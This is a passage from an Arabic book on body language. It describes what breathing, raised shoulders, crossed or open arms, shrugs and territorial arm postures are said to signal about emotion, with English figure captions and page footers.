‫ﺳﻠوك اﻟﺗﻧﻔس‪ ،‬اﻟﺗﻔﻛﯾر ﻓﻲ اﻟﺣﯾواﻧﺎت اﻟﺗﻲ ﻋﻠﻰ وﺷك اﻟﻘﺗﺎل‪ .‬اﻟﻐورﯾﻼ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺗﻧﻔﺦ ﺻدرھﺎ ﺑوﺻﻔﮭﺎ طرﯾﻘﺔ ﻟﻠﻘول‪" :‬أﻧﺎ ﻛﺑﯾرة‪،‬‬
‫واﻧت ﻻ ﺗرﯾد أن ﺗﻌﺑث ﻣﻌﻲ"‪ .‬اﻟﻘﯾﺎم ﺑذﻟك ﯾﺳﺎﻋد اﻟﻐورﯾﻼ أﯾﺿﺎ ﻋﻠﻰ أن ﯾﺄﺧذ اﻟﻣزﯾد ﻣن اﻷوﻛﺳﺟﯾن ﻹﻋداد اﻟﺟﺳم ﻟﻣﺷﺎدة ﻣﺣﺗﻣﻠﺔ‪ .‬اﻟﺑﺷر ﻻ‬
‫ﺗﺧﺗﻠف‪ .‬ﻋﻧدﻣﺎ ﯾﻛون ﺷﻌور اﻟﺷﺧص ﻓطري‪ ،‬ﻓﺎﻧﮫ ﯾﻧﻔص ﺑﺻدره‪.‬‬
‫ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﻗﻠﻘﺎ‪ ،‬ﯾﻣﻛن رؤﯾﺔ اﻟﺻدر ﯾرﺗﻔﻊ او ﯾﺗﻣدد وﯾﻧﻘﺑض ﺑﺳرﻋﺔ‪ .‬ﯾرﺗﻔﻊ ﺻدر اﻟﺷﺧص ﻷن اﻟدﻣﺎغ ﯾﻘول‪" :‬ﻣﺷﻛﻠﺔ ﻣﺣﺗﻣﻠﺔ –‬
‫ﺿﺎﻋف ﻣن اﺳﺗﮭﻼك اﻷوﻛﺳﺟﯾن ﻓﻲ ﺣﺎﻟﺔ اﺿطرارﻧﺎ ﻟﻠﮭرب او اﻟﻘﺗﺎل ﻓﺟﺄة!" ﻋﻧﻣﺎ ﺗرى ھذا اﻟﻣﺛﺎل ﻣن اﻟﺳﻠوك ﻏﯾر اﻟﻣﻠﻔوظ ﺑطرﯾﻘﺔ ﻣﺧﺗﻠﻔﺔ‬
‫ﻟدى ﺷﺧص ﺳﻠﯾم‪ ،‬ﯾﻧﺑﻐﻲ ﻋﻠﯾك أن ﺗﻔﻛر ﻣﻠﯾﺎ ﻟﻣﺎذا ﯾﺷﻌر ھذا اﻟﺷﺧص ﺑﺎﻟﻘﻠﻖ‪ .‬أو ﺑﻣﻌﻧﻰ اﺧر أن اﻟﺷﮭﯾﻖ أو اﻟﺗﻧﻔس اﻟﺛﻘﯾل ﯾﻧﺗﺞ ﻋﻧﮫ اﺧذ اﻟﻣزﯾد‬
‫ﻣن اﻷوﻛﺳﺟﯾن‪ ،‬ﻣﻣﺎ ﯾﺷﯾر إﻟﻰ ﻋدم اﻟراﺣﺔ ﻋﻠﻰ ﻣﺳﺗوى ﻣﺎ‪ ،‬ﻓﻲ ﺣﯾن أن اﻟزﻓﯾر اﻟﻛﺑﯾر ﺗﻠﯾﮭﺎ اﺳﻘﺎط اﻟﻛﺗﻔﯾن ﻗد ﺗﺷﯾر إﻟﻰ اﻟﺣزن أو اﻻﺳﺗﻘﺎﻟﺔ‪.‬‬
‫رﻓﻊ اﻟﻛﺗﻔﯾن‪ ،‬ﺑﺎﻟﺣدﯾث ﻋن اﻷﻛﺗﺎف‪ ،‬اﻧﺗﺑﮫ ﻟﻠﺷﺧص اﻟذي ﯾﺣرك ﺟﺳده ﺑﯾﻧﻣﺎ ﯾﺗﺣدث او ﻧﺗﯾﺟﺔ اﺳﺗﺟﺎﺑﺔ ﻟﺣدث ﺳﻠﺑﻲ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﺗﺑدأ اﻷﻛﺗﺎف ﻓﻲ‬
‫اﻻرﺗﻔﺎع ﻗﻠﯾﻼ ﻧﺣو اﻷذﻧﯾن ﺑطرﯾﻘﺔ ﺗﺟﻌل اﻟرﻗﺑﺔ ﺗﺑدو ﻛﺄﻧﮭﺎ ﻣﺧﺗﻔﯾﺔ‪ .‬اﻟﻔﻌل اﻷﺳﺎﺳﻲ ھﻧﺎ ھو ارﺗﻔﺎع اﻷﻛﺗﺎف ﺑﺑطء‪ ،‬إن اﻟﺷﺧص اﻟذي ﯾظﮭر ﻟﻐﺔ‬
‫اﻟﺟﺳد ھذه ﯾﺣﺎول ﺑﺻﻔﺔ اﺳﺎﺳﯾﺔ أن ﯾﺟﻌل رأﺳﮫ ﺗﺧﺗﻔﻲ‪ ،‬ﻣﺛل اﻟﺳﻠﺣﻔﺎة‪ .‬ھذا اﻟﺷﺧص ﺗﻧﻘﺻﮫ اﻟﺛﻘﺔ وﯾﺷﻌر ﺑﻘﻠﻖ ﺷدﯾد‪.‬‬
‫ﻣﺎذا ﻋن اﻟذراﻋﯾن؟ ھم ﺑﺑﺳﺎطﺔ اﻣﺗدادا ﻟﻸﯾدي‪ ،‬وﻋﻠﻰ ھذا اﻟﻧﺣو‪ ،‬ﻓﺎن ﯾﻘوم ﺑﺎﻟﺗواﺻل ﻋﻠﻰ ﻧﻔس أﺷﯾﺎء اﻟﯾدﯾن؟ اﻟﺷﻲء اﻟﻣﺛﯾر ﻟﻼھﺗﻣﺎم ﻓﻲ‬
‫اﻟذراﻋﯾن‪ ،‬ھو أﻧﮫ ﺳد اﻟﻔﺟوة ﺑﯾن اﻟﺟذع واﻟﯾدﯾن‪ .‬ﺣﯾث ﯾﻘوم ﺑرﺑط اﻻﺗﺻﺎﻻت اﻟﻐﯾر ﻟﻔظﯾﺔ ﻣن ﻛل ﻣن اﻟﺟذع واﻟﯾدﯾن‪ .‬ﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻟﺻور‬
‫اﻟﺗﺎﻟﯾﺔ وﻧﻘرر اﻟﺷﺧص اﻟذي ﺗرﯾده أن ﯾﻘﺗرب‪.‬‬
‫‪This very open display denotes warmth and friendliness‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪882‬‬

‫”‪This arm display, mixed with the other body language, says, “I am not too open to your ideas.‬‬

‫ﻋﻧدﻣﺎ ﻧﻛون ﻏﺎﺿﺑﯾن أو ﺧﺎﺋﻔﯾن‪ ،‬ﻧﺳﺣب أذرﻋﻧﺎ‪ .‬ﻓﻲ اﻟﺣﻘﯾﻘﺔ‪ ،‬ﻋﻧدﻣﺎ ﻧﺷﻌر ﺑﺎﻹھﺎﻧﺔ أو اﻟﺗﮭدﯾد أو اﻟظﻠم أو اﻟﻘﻠﻖ‪ ،‬ﻧﺿﻊ أذرﻋﻧﺎ ﺟﺎﻧﺑﺎ أو ﻧﻌﻘدھﺎ‬
‫أﻣﺎم ﺻدورﻧﺎ‪ .‬ھذا أﺳﻠوب ﻟﻠﺑﻘﺎء ﯾﺳﺎﻋد ﻋﻠﻰ ﺣﻣﺎﯾﺔ اﻟﻔرد ﻟدى اﻟﺷﻌور ﺑﺧطر ﺣﻘﯾﻘﻲ أو وﺷﯾك‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻧظر إﻟﻰ اﻷم اﻟﻘﻠﻘﺔ ﻋﻠﻰ‬
‫اﺑﻧﮭﺎ ﻋﻧدﻣﺎ ﯾﻠﻌب ﻣﻊ اطﻔﺎل أﻛﺛر ﺧﺷوﻧﺔ‪ .‬ﻗد ﺗطﺑﻖ ذراﻋﯾﮭﺎ أو ﺗﻌﻘدھﻣﺎ ﻋﻠﻰ ﺑطﻧﮭﺎ‪ .‬ﺳﺗرﻏب ﻓﻲ اﻟﺗدﺧل وﻟﻛﻧﮭﺎ ﺗﺗوﻗف ﺟﺎﻧﺑﺎ وﺗﻣﻧﻊ ﻧﻔﺳﮭﺎ ﻣن‬
‫ﺧﻼل اﻹﻣﺳﺎك ﺑذراﻋﯾﮭﺎ‪ ،‬آﻣﻠﮫ أن ﯾﻧﺗﮭﻲ اﻟﻠﻌب دون اذى‪.‬‬
‫أﯾﺿﺎ أﻧظر اﻟﻰ اﻟﺷﻛل اﻟﺳﺎﺑﻖ اﻟﺛﺎﻧﻲ‪ ،‬ﺣﯾث أﻧﮫ ﻟﯾس ﻣن اﻟﺻﻌب اﺳﺗﺷﻌﺎر أن ﻋﻘد اﻟذراﻋﯾن أﻣﺎم اﻟﺻدر ﯾﺳﺗﺧدم ﻟﺧﻠﻖ ﺣﺎﺟز ﺑﯾن ھذه اﻟﻣرأة‬
‫وﺷﺧص آﺧر‪ .‬ﻧﻼﺣظ‪ ،‬ﻣﻊ ذﻟك‪ ،‬أن اﻟذراﻋﯾن اﻟﻣﻌﻘودﺗﯾن اﻣﺎم اﻟﺻدر ﻻ ﺗﺷﯾرا داﺋﻣﺎ ﻋﻠﻰ وﺟود ﺣﺎﺟز‪ .‬اﻟﺷﺧص ﻗد ﯾﺷﻌر ﺑﺎﻟﺑرودة أو ﻗد‬
‫ﯾﻛون ﺑﺑﺳﺎطﺔ ﻣﺗﺎح ﻣﻊ وﺟود اﻟذراﻋﯾن ﻣﻌﻘودﯾن ﻣﻊ ﺑﻌﺿﮭﻣﺎ اﻟﺑﻌض‪ .‬اﻟﻌﻼﻣﺎت اﻷﺧرى ﯾﺣب ان ﺗﺧﺑرﻧﺎ ﺑﺎﻟﻣﺳﺗوى اﻟﻌﺎطﻔﻲ‪ .‬ﻓﻲ ھذا اﻟﺷﻛل‬
‫أﯾﺿﺎ‪ ،‬ﻧﻼﺣظ ﻣوﻗف اﻟﺟذع واﻟﺳﺎق ﺗﺷﯾر إﻟﻰ ﻣﺳﺗوى ﻋدم اﻻھﺗﻣﺎم‪ .‬ﻣؤﺷر رﺋﯾﺳﻲ آﺧر ﻣﻊ ﻋﻘد اﻟذراﻋﯾن‪ .‬ﻋﻘد اﻟذراﻋﯾن ﻋﺎﻟﯾﺔ ﻋﻠﻰ اﻟﻣﻌدة‬
‫وﺗﺣت اﻟﺛدﯾﯾن ﺗﺷﯾر اﻟﻰ اﻻﻧزﻋﺎج‪ .‬ھذا اﻟﻧوع ﻣن اﻟﻌرض )ﻋﺑور اﻟذراﻋﯾن؟ ﻋﻘد اﻟذراﻋﯾن( وﻗﺎﺋﻲ‪ ،‬وھو ﻓﻲ اﻟﺟوھر ﻛﺄﻧﮫ ﯾﻘول‪" :‬أﻧﺎ‬
‫ﻣﺗﺿﺎﯾﻖ"‪ .‬ﻣن اﻟﻣﮭم أن ﻧﻼﺣظ أن ﻋﻘد اﻟذراﻋﯾن ﻟوﺣدھﻣﺎ ﻻ ﯾﺷﯾرا إﻟﻰ ﻋدم اﻻھﺗﻣﺎم أو ﻋدم اﻟراﺣﺔ‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﻣﻌظم اﻟﻌﻼﻣﺎت‬
‫اﻷﺧرى ﻣن ﻟﻐﺔ اﻟﺟﺳد‪ ،‬واﻟﺑﺣث ﻋن اﻟﺗﻐﯾرات اﻟﻣﻔﺎﺟﺋﺔ ﻓﻲ اﻷﺳﺎس ﻟﻠﻣﺳﺎﻋدة ﻓﻲ اﻹﺷﺎرة إﻟﻰ اﻟﻣﺳﺗوى اﻟﻌﺎطﻔﻲ‪.‬‬
‫ﻻ ﯾﺳﺎﻋدﻧﺎ ﺗﻘﯾﯾد اﻟذراﻋﯾن ﻓﻘط ﻋﻠﻰ اﻟﺗﻌﺎﻣل ﻣﻊ اﻵﺧرﯾن وﻟﻛن أﯾﺿﺎ ﻋﻠﻰ اﻟﺗﻌﺎﻣل ﻣﻊ أﻧﻔﺳﻧﺎ ﻋﻧدﻣﺎ ﻧﺣﺗﺎج إﻟﻰ أن ﻧﺷﻌر ﺑﺎﻟراﺣﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗﺳﺑب اﻷذى أو اﻷﻟم اﻟذي ﻧﺷﻌر ﺑﮫ ﻓﻲ ﻣﻧطﻘﺔ اﻟﺟذع أو اﻟذراﻋﯾن ﻓﻲ ﺗﻘﯾﯾد ﺣرﻛﺔ اﻟذراع ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺗﮭدﺋﺔ اﻟﻧﻔس‪ .‬ﻗد ﻧوﺟﮫ‬
‫أذرﻋﻧﺎ ﻧﺣو ﻣﻧطﻘﺔ اﻟﺟﺳد اﻟﺗﻲ ﻧﺷﻌر ﻓﯾﮭﺎ ﺑﺎﻷﻟم‪ .‬إذا ﺳﺑﻖ وواﺟﮭت اﻟﻣﺎ ﻣﻌوﯾﺎ ﺷدﯾدا‪ ،‬ﻣن اﻟﻣﺣﺗﻣل أن ﺗﻛون ﻗد ﻗﻣت ﺑﺗوﺟﯾﮫ ذراﻋﯾك ﻧﺣو‬
‫ﺑطﻧك ﻟﺗﺷﻌر ﺑﺎﻟراﺣﺔ‪ ،‬وﻓﻰ ﻣﺛل ﺗﻠك اﻟﻠﺣظﺎت‪ ،‬ﻻ ﺗﺗﺣرك اﻷذرع ﻟﻠﺧﺎرج‪ ،‬ﺣﯾث ﯾطﻠب ﻣﻧﮭﺎ اﻟﻌﻘل أن ﺗﻠﺑﻰ اﺣﺗﯾﺎﺟﺎﺗﻧﺎ وﺗﺑﻘﻰ ﺑﮭذه اﻟﻣﻧطﻘﺔ‪.‬‬

‫اﻟﺷﻛل اﻟﺳﺎﺑﻖ اﻻول ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ﯾظﮭر ﻋرض ﺑﺎطن اﻟﯾد ﻣﻔﺗوح )‪ .(open ventral displays‬ﺣﯾث ﯾﺗم ﻛﺷف اﻟﺟزء اﻟﺣﺳﺎس أو‬
‫اﻷﻣﺎﻣﻲ ﻣن اﻟذراﻋﯾن‪ ،‬ﺣﯾث ﻓﻲ اﻟﺟوھر ﯾﻘول‪" :‬أﻧﺎ ﻣرﺗﺎح ﻣﻌك؛ أﻧﺎ أﺛﻖ ﺑك"‪ .‬إذا رأﯾت ھذا اﻟﻌرض ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ ھذا اﻟﺷﻛل‪ ،‬ﯾﻣﻛن ان‬
‫ﺗﻔﺗرض إﻧك ﻗد ﺑﻧﯾت ﻋﻼﻗﺔ‪.‬‬

‫ﺑﺟﺎﻧب اﻹﺷﺎرة اﻟﻰ اﻟراﺣﺔ‪ ،‬ﻓﺎن ﻋرض ﺑﺎطن اﻟﯾد ﻣﻔﺗوح )‪ (open ventral displays‬ﯾﻣﻛﻧﮫ أﯾﺿﺎ اﻹﺷﺎرة اﻟﻰ اﻟﺛﻘﺔ‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻰ‬
‫ﻛﯾف ﯾﺗم اﺳﺗﺧدام ﻋرض اﻟﺑﺎطن )‪ (ventral displays‬ﻓﻲ اﻟﺳﯾطرة اﻟﻣﻛﺎﻧﯾﺔ أو اﻟﺳﯾﺎدة‪ .‬إذا ﻟم ﯾوﺿﻊ ﻓﻲ اﻻﻋﺗﺑﺎر‪ ،‬ﯾﻣﻛن ﻟﮭذا اﻟﻌرض أن‬
‫ﯾﺑدو ﻋدﯾم اﻻﺣﺗرام أو ﻣﺗﻐطرس‪ .‬ﺣﯾث ﻧرى أن ﺑن ﻣﺗﻣدد ﻋﻠﻰ اﻷرﯾﻛﺔ أو اﻟﻣﻘﻌد ﻣﻊ ﺳﺎﻗﯾﮫ اﻟﻣﻔﺗوﺣﺗﯾن وھذا ﻓﻲ اﻷﺳﺎس ﻋﻼﻣﺔ طﺑﯾﻌﯾﺔ ﻋﻠﻰ‬
‫اﻟراﺣﺔ‪ ،‬وﻋﻠﻰ اﻟرﻏم ﻣن ھذا‪ ،‬ﻟدى ﻣﻧﺎﻗﺷﺔ اﻷﻣور اﻟﺟﺎدة‪ ،‬ﯾﻌﺗﺑر اﻟﺗﻣدد ﺳﻠوﻛﺎ ﯾظﮭر اﻟﺳﯾطرة اﻟﻣﻛﺎﻧﯾﺔ أو اﻟﺳﯾﺎدة‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺟﻠس اﻟﻣراھﻘون‪،‬‬
‫ﺑﺻﻔﺔ ﺧﺎﺻﺔ‪ ،‬ﻣﻣددﯾن ﻋﻠﻰ ﻣﻘﻌد أو ﻣﻧﺿدة‪ ،‬ﻛطرﯾﻘﺔ ﻏﯾر ﻣﻠﻔوظﺔ ﻟﻠﺗﻌﺑﯾر ﻋن اﻟﺳﯾطرة ﻋﻠﻰ اﻟﺑﯾﺋﺔ اﻟﻣﺣﯾطﺔ ﺑﯾﻧﻣﺎ ﯾﺗم ﺗوﺑﯾﺧﮭم ﻣن ﻗﺑل واﻟﯾﮭم‪.‬‬
‫ﺳﻠوك اﻟﺗﻣدد ھذا ﺳﻠوك ﻗﻠﯾل اﻻﺣﺗرام وﯾظﮭر ﻋدم اﻻﻛﺗراث ﺑﻣن ﯾﺗوﻟﻰ اﻷﻣر‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪883‬‬

‫آﺧر ﻋرض ﻟﻠذراع ﺣﯾث أن اﻟﻌدﯾد ﻣن اﻵﺑﺎء واﻷﻣﮭﺎت ﻛﺛﯾرا ﻣﺎ ﯾراه وﯾﺷﯾر اﻟﻰ اﻟﻼﻣﺑﺎﻻة‪ .‬ﻋﻧد ﻣزﺟﮫ ﻣﻊ اﻟﻛﻠﻣﺎت‪ ،‬ﻣﺎذا ﯾﺷﺑﮫ اﻟﻔﻌﻠﻲ اﻟﻐﯾر‬
‫ﻟﻔظﻲ ھذا ﻛﻣﺎ ﻧراه ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ وﻣﺎذا ﯾﻌﻧﻰ؟‬

‫ﻣﺎ ھو اﻟﻣﺛﯾرة ﻟﻼھﺗﻣﺎم ﺣول ھذا اﻟﻌرض اﻟﻐﯾر ﻟﻔظﻲ اﻟﺗﻲ ﻻ ﺗراھﺎ اﻻ ﻋﻧدﻣﺎ ﯾﻘوم ﺷﺧص ﻣﺎ ﺑﺎن ﯾﻘول "ﻻ أﻋرف"‪ ،‬ﺣﯾث اﻟﻣﺛﯾر ھو رؤﯾﺔ‬
‫ھذا ﻣﻊ ﻋدم ﻣطﺎﺑﻘﺔ اﻟﻔﻌل ﻟﮭذه اﻹﺷﺎرة‪ .‬ﺳﺄﻋطﯾك ﻣﺛﺎﻻ ﻟﺗوﺿﯾﺢ ﻣﺎ أﻋﻧﯾﮫ‪.‬‬
‫إذا ﻛﻧت ﺗﺷﺎھد اﻟﻣﻘﺎﺑﻼت‪ ،‬اﻟﺑراﻣﺞ اﻟﺣوارﯾﺔ‪ ،‬اﻟﻣﻧﺎظرات اﻟرﺋﺎﺳﯾﺔ‪ ،‬أو اﻷﺣداث اﻟﺣﯾﺔ اﻷﺧرى‪ ،‬ﻗد ﺗرى ھذا اﻟﺳﻠوك‪ .‬ﻛﻧت ﺗراﻗب ﺷﺧص ﻣﺎ‬
‫ﯾﻠﻘﻲ ﻛﻠﻣﺔ ﻋن ﺷﻲء ﯾؤﻣن ﺑﮫ‪ ،‬رﺑﻣﺎ ﻛﺟزء ﻣن ﺣﻣﻠﺔ ﺳﯾﺎﺳﯾﺔ‪ .‬طرح اﻟﺳؤال أو اﻟﺣﺟﺔ اﻟﺗﻲ ﺗﺳﺑب اﻟﺗوﻗف ﻟﺛﺎﻧﯾﺔ أو اﺛﻧﺗﯾن‪ .‬ﺣﯾث ﻋﻧدﻣﺎ ﯾﺑدأ‬
‫اﻟﻣرﺷﺢ ﺑﺎﻹﺟﺎﺑﺔ‪ ،‬ﻓﺎن رأﺳﮫ ﺗوﻣﺊ وﻛﺄﻧﮭﺎ ﺗﻘول "ﻧﻌم"‪ ،‬وﻟﻛﻧك ﺗرى ﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪ .‬ﺗﻐﺎﺿﻰ اﻟﻛﺗف اﻟطﻔﯾف ﯾﻣﻛن أن ﯾﺷﯾر إﻟﻰ‬
‫أن اﻟﺷﺧص ﻏﯾر ﻣﺗﺄﻛد ﻣﻣﺎ ﯾﻘوﻟوﻧﮫ‪ .‬إﯾﻣﺎءة اﻟرأس ﺗﻘول "ﻧﻌم"‪ ،‬وﻟﻛن ﻟﻐﺔ اﻟﺟﺳد ﺗﻘول "ﻟﺳت ﻣﺗﺄﻛدا"‪.‬‬
‫ﺣﺗﻰ ﻣﻊ أﻛﺛر ﻗوة ﻟﻣﺷﺎھدة ﺗﻐﺎﺿﻰ اﻟﻛﺗف ھذا وﻟو ﻟواﺣده‪ .‬ﯾﻌﺗﺑر اﻟﻛﺛﯾرون ھذا وﺟود ﺗﻧﺎﻗض ﻏﯾر اﻟﻠﻔظﻲ‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻓﻲ‪ ،‬أﻧﺎ أرﯾد أن‬
‫أﻗول ﻧﻌم‪ ،‬وﻟﻛن ذھﻧﻲ ﯾرﯾد أن ﯾﻘول ﻻ أو ﻻ أﻋرف‪.‬‬
‫اﻟذراع‪ ،‬أﺛﻧﺎء ﻣﻼﺣظﺔ إﺷﺎرات اﻟراﺣﺔ‪ ،‬أو اﻟﻘﻠﻖ‪ ،‬أو اﻟﺛﻘﺔ‪ ،‬أو أﯾﺔ ﻣظﺎھر أﺧرى ﻟﻠﺷﻌور‪ ،‬ﺗﻌﻣل اﻷذرع ﺑطرﯾﻘﺔ ﺟﯾدة ﻛﻣرﺳﻼت ﺷﻌورﯾﺔ‪.‬‬
‫ﻣﻧذ اﻟوﻗت اﻟذي ﺑدأ ﻓﯾﮫ اﺳﻼﻓﻧﺎ اﻷواﺋل اﻟﻣﺷﻲ ﺑطرﯾﻘﺔ ﻣﺳﺗﻘﯾﻣﺔ‪ ،‬ﻛﺎﻧت اﻷذرع ﺣرة ﻟﺗﺳﺗﺧدم ﺑطرق واﺿﺣﺔ‪ .‬إن أذرﻋﻧﺎ ﻗﺎدرة ﻋﻠﻰ ﺣﻣل‬
‫اﻷﺛﻘﺎل‪ ،‬وﺗوﺟﯾﮫ اﻟﺿرﺑﺎت‪ ،‬واﻷﺳﻣﺎك ﺑﺎﻷﺷﯾﺎء‪ ،‬ورﻓﻌﻧﺎ ﻋن اﻷرض‪ ،‬إﻧﮭﺎ اﻧﺳﯾﺎﺑﯾﺔ وﺳرﯾﻌﺔ اﻟﺣرﻛﺔ وﺗﻣدﻧﺎ ﺑﺎﺳﺗﺟﺎﺑﺔ أوﻟﯾﺔ راﺋﻌﺔ ﻷي ﺧطر‬
‫ﺧﺎرﺟﻲ‪ ،‬ﺧﺎﺻﺔ ﻋﻧدﻣﺎ ﺗﺳﺗﺧدم ﺑطرﯾﻘﺔ ﺗﺗواﻓﻖ ﻣﻊ اﻷطراف اﻟﺳﻔﻠﯾﺔ‪ .‬إذا أﻟﻘﻰ ﺷﺧص ﺷﯾﺋﺎ ﻣﺎ ﻋﻠﯾﻧﺎ‪ ،‬ﺗرﺗﻔﻊ أذرﻋﻧﺎ ﻻﻋﺗراﺿﮫ‪ .‬ﺑطرﯾﻘﺔ‬
‫ﻏرﯾزﯾﺔ ودﻗﯾﻘﺔ ﺗﻌﺗﺑر أذرﻋﻧﺎ‪ ،‬ﻣﺛل اﻗداﻣﻧﺎ وﺳﯾﻘﺎﻧﻧﺎ‪ ،‬ﺗﻔﺎﻋﻠﯾﺔ ﻟﻠﻐﺎﯾﺔ وﻣوﺟﮭﺔ ﺑﺷدة ﻟﺣﻣﺎﯾﺗﻧﺎ ﺣﯾث إﻧﮭﺎ ﺳﺗرﺗﻔﻊ ﻟﺗداﻓﻊ ﻋﻧﺎ ﺣﺗﻰ ﻋﻧدﻣﺎ ﯾﻛون اﻟﻘﯾﺎم‬
‫ﺑذﻟك أﻣرا ﻏﯾر ﻣﻧطﻘﻲ أو ﻏﯾر ﺣﻛﯾم‪ .‬ﻛل ﻣرة ﺗﺻم ﻓﯾﮭﺎ ذراﻋك‪-‬ﺧﺎﺻﺔ إذا اﺻطدم ﺑﺷﻲء ﺣﺎد‪-‬ﻓﻛر اﻧﮭﺎ ﻗد ﺗﻛون ﻗﺎﻣت ﺑﺣﻣﺎﯾﺔ ﺑدﻧك ﻟﻠﺗو ﻣن‬
‫ﺿرﺑﺔ ﻣﻣﯾﺗﺔ ﻣﺣﺗﻣﻠﺔ‪.‬‬
‫وﻷن أذرﻋﻧﺎ‪-‬ﻣﺛل اﻗداﻣﻧﺎ‪-‬ﻣﺻﻣﻣﺔ ﻟﺗﺳﺎﻋد ﻋﻠﻰ ﺑﻘﺎﺋﻧﺎ‪ ،‬ﯾﻣﻛن اﻻﻋﺗﻣﺎد ﻋﻠﯾﮭﺎ ﻓﻲ إظﮭﺎر اﻟﻣﺷﺎﻋر أو اﻟﻣﻘﺎﺻد‪ .‬وﺑﺎﻟﺗﺎﻟﻲ‪ ،‬ﻋﻠﻰ ﻋﻛس اﻟوﺟﮫ‬
‫اﻟﻣﺗﻘﻠب واﻟﻣﺧﺎدع‪ ،‬ﺗﻣدﻧﺎ اﻷطراف اﻟﻌﻠﯾﺎ ﺑﺈﺷﺎرات ﻏﯾر ﻣﻠﻔوظﺔ ﺛﺎﺑﺗﺔ واﻟﺗﻲ ﯾﻣﻛن ان ﺗﺻور ﺑﺻورة دﻗﯾﻘﺔ ﻣﺎ ﻧﻔﻛر ﻓﯾﮫ أو ﻧﺷﻌر ﺑﮫ‪ ،‬أو ﻧﻧوي‬
‫اﻟﻘﯾﺎم ﺑﮫ‪-‬ﻧﺣن وﻣن ﺣوﻟﻧﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪884‬‬

‫‪ -‬ﺳﻠﻮﻛﯿﺎت اﻟﺬراع اﻟﻤﺘﻌﻠﻘﺔ ﺑﺎﻟﺴﯿﺎدة اﻟﻤﻜﺎﻧﯿﺔ‬

‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ اﺳﺗﺧدام اﻟذراﻋﯾن ﻟﺣﻣﺎﯾﺗﻧﺎ أو إﺑﻌﺎد اﻵﺧرﯾن‪ ،‬ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ أﯾﺿﺎ ﻟﺗﻌﯾﯾن ﺣدود‪ .‬ﺗرى ﺗﻠك اﻟﺳﻠوﻛﯾﺎت اﻟﻣﺗﻌﻠﻘﺔ ﺑﺎﻟﻣﻛﺎن ﻓﻲ‬
‫ﻏرﻓﺔ اﻻﺟﺗﻣﺎﻋﺎت أو اﻟﻠﻘﺎءات ﺣﯾث ﺳﯾﻧﺷر ﺷﺧص واﺣد أدواﺗﮫ وﯾﺳﺗﺧدم ﻣرﻓﻘﯾﮫ ﻟﻠﺳﯾطرة ﻋﻠﻰ ﺟزء ﻛﺑﯾر ﻣن طﺎوﻟﺔ اﻻﺟﺗﻣﺎع ﻋﻠﻰ ﺣﺳﺎب‬
‫اﻵﺧرﯾن‪ .‬ﺗﻌﺗﺑر اﻟﻣﺳﺎﺣﺔ اﻟﺗﻲ ﺗﻣﺗﻠﻛﮭﺎ‪ ،‬ﻓﻲ اﻟﺣﻘﯾﻘﺔ‪ ،‬دﻟﯾل ﻋﻠﻰ اﻟﻘوة‪ .‬ﯾﻣﻛن أن ﯾﻛون ﻟطﻠب اﻟﺳﯾﺎدة اﻟﻣﻛﺎﻧﯾﺔ ﻧﺗﺎﺋﺞ ﻗوﯾﺔ ﻟﻠﻐﺎﯾﺔ وﺳﻠﺑﯾﺔ‪-‬ﻋﻠﻰ اﻟﻣدى‬
‫اﻟﻘرﯾب واﻟﺑﻌﯾد‪-‬وﯾﻣﻛن أن ﺗﺗدرج اﻟﻧزاﻋﺎت اﻟﻧﺎﺗﺟﺔ ﻣن اﻷﺻﻐر ﻟﻸﻛﺑر‪ .‬ﺗﺷﻣل اﻟﻧزاﻋﺎت اﻟﻣﻛﺎﻧﯾﺔ ﻛل ﺷﻲء ﺑدءا ﻣن أﻣر ﺳطﺣﻲ ﻓﻲ ﻗطﺎر‬
‫أﻧﻔﺎق ﻣزدﺣم إﻟﻰ اﻟﺣرب ﺑﯾن اﻷرﺟﻧﺗﯾن وﺑرﯾطﺎﻧﯾﺎ ﺣول ﺟزر ﻓوﻛﻼﻧد‪ .‬إن ﺳﻠوﻛﯾﺎت اﻟﺳﯾﺎدة اﻟﻣﻛﺎﻧﯾﺔ ﻣﮭﻣﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻧﺎ‪ ،‬وﺗﺳﺎﻋد أذرﻋﻧﺎ ﻓﻲ‬
‫ﺗﺄﻛﯾد ﺳﯾﺎدﺗﻧﺎ ﻋﻠﻰ اﻵﺧرﯾن اﻟذﯾن ﻧﺗﻔوق ﻋﻠﯾﮭم ﻓﻲ ھذا اﻟﺻدد‪.‬‬
